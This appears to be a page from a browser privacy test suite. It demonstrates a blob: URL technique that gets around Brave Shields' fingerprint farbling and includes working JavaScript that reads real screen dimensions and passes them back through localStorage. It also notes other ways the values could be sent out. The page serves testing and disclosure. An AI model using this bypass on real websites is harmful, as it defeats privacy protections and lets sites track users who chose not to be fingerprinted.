← All tests

Blob URL Farbling Bypass

Click the button below. This will:

  1. Read fingerprint-relevant values on this page (farbled by Brave Shields).
  2. Open a blob: URL in a new tab via window.open().
  3. The blob page reads the same values (unfarbled), writes them to localStorage, and closes itself.
  4. This page reads the blob's values from localStorage and compares.

How it works
// 1. Build an HTML document whose inline script reads fingerprint
//    values, writes them to localStorage, and closes the tab.
let html = '<script>'
  + 'localStorage.setItem("real_screen_width", screen.width);'
  + 'localStorage.setItem("real_screen_height", screen.height);'
  + 'window.close();'
  + '</script>';

// 2. Create a blob URL from that HTML.
let blob = new Blob([html], { type: 'text/html' });
let blobUrl = URL.createObjectURL(blob);

// 3. Open it in a new tab (user gesture required).
//    The blob page runs, exfiltrates via localStorage, and closes itself.
window.open(blobUrl, '_blank');

// 4. Main page reads the real (unfarbled) values back.
let realWidth = localStorage.getItem('real_screen_width');

The blob page is same-origin with the creator (location.origin matches), so localStorage is shared. The blob page could also use BroadcastChannel, fetch(), or postMessage to exfiltrate.